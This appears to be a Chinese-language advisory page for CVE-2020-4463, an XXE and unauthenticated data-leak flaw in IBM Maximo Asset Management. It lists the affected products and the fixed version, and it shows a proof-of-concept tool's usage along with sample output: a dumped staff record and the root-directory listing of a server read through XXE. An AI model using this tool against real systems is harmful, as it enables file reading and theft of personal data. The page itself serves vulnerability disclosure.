IBM Maximo Asset Management 存在通过 XXE 漏洞导致的信息泄露 (CVE-2020-4463)

IBM Maximo Asset Management 在处理 XML 数据时容易受到 XML 外部实体注入 (XXE) 攻击。远程攻击者可以利用此漏洞泄露敏感信息或消耗内存资源。

基础评分: 8.2

向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

受影响的核心组件

IBM Maximo Asset Management 7.6.0
IBM Maximo Asset Management 7.6.1
IBM Maximo Asset Management 所有 7.6.0 之前的版本

受影响的产品

Maximo for Aviation
Maximo for Life Sciences
Maximo for Nuclear Power
Maximo for Oil and Gas
Maximo for Transportation
Maximo for Utilities
SmartCloud Control Desk
IBM Control Desk
Tivoli Integration Composer

补丁版本

修复版本: Maximo Asset Management 7.6.1.2
之前版本: 请参见下面的解决方案（链接）

链接:

PoC

以下是该漏洞的 PoC。不仅 IBM 提到的版本存在漏洞，所有 7.6.0 之前的版本也可能存在漏洞。

该 PoC 检查系统上可能存在的两个漏洞：一个数据泄露漏洞（如果未实施认证则可被利用），以及一个 XXE 漏洞（如果配置中未设置特定值 mxe.int.resolvexmlextentity=0 则可被利用）。

示例

用法

python3 CVE-2020-4463.py --help
usage: CVE-2020-4463.py [-h] [-x [XXE]] [-d [DATALEAK]] [--url [URL]]

CVE-2020-4463 PoC Data Leakage and XXE

optional arguments:
  -h, --help            show this help message and exit
  -x [XXE], --xxe [XXE]
                        XXE (Linux/Windows)
  -d [DATALEAK], --dataleak [DATALEAK]
                        Data Leakage REST request MXPERSON. May take a long
                        time.
  --url [URL]           Target URL http://, https://

如果收到以下响应，则表示两个漏洞均不存在。

Error 500: BMXAA1268E - No user credentials.

数据泄露

如果数据库包含大量条目，可能需要较长时间。

CVE-2020-4463 git:(master) ✗ python3 CVE-2020-4463.py --url https://10.0.0.1 -d

<?xml version="1.0" encoding="UTF-8"?>
<QueryMXPERSONResponse xmlns="http://www.ibm.com/maximo" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    creationDateTime="2020-11-16T10:42:49+01:0 0" transLanguage="EN" baseLanguage="EN"
    messageID="6927296.160551977018422092" maximoVersion="7 6 20170418-0100 V7608-61" rsStart="0" rsTotal="4374"
    rsCount="4374">
    <MXPERSONSet>
        <PERSON>
            <ADDRESSLINE1></ADDRESSLINE1>
            <CITY></CITY>
            <CLASSSTRUCTUREID></CLASSSTRUCTUREID>
            <COUNTRY></COUNTRY>
            <C_DESCRIZIONE></C_DESCRIZIONE>
            <C_MATRICOLA></C_MATRICOLA>
            <C_QUALIFICA></C_QUALIFICA>
            <FIRSTNAME>Lxxxxxxx</FIRSTNAME>
            <LANGUAGE>IT</LANGUAGE>
            <LASTNAME>xxxxxx</LASTNAME>
            <PERSONID>Lxxxxxxx</PERSONID>
            <POSTALCODE></POSTALCODE>
            <PRIMARYEMAIL>[email protected]</PRIMARYEMAIL>
            <PRIMARYPHONE></PRIMARYPHONE>
            <STATEPROVINCE></STATEPROVINCE>
            <STATUS maxvalue="ACTIVE">ACTIVE</STATUS>
            <TITLE></TITLE>
            <USERNOTFTYPE></USERNOTFTYPE>
            <EMAIL>
                <EMAILADDRESS>[email protected]</EMAILADDRESS>
            </EMAIL>
        </PERSON>

XXE

CVE-2020-4463 git:(master) ✗ python3 CVE-2020-4463.py --url https://10.0.0.1 -x          

Error 500: BMXAA4160E - A major exception has occurred. Check the system log to see if there are any companion errors logged. Report this error to your system administrator.
	/c: &#40;No such file or directory&#41;
Error 500: For input string: &quot;bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost&#43;found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
&quot;

CVE-2020-4463

最受欢迎

IBM Maximo Asset Management 存在通过 XXE 漏洞导致的信息泄露 (CVE-2020-4463)

受影响的核心组件

受影响的产品

补丁版本

链接:

PoC

示例

用法

数据泄露

XXE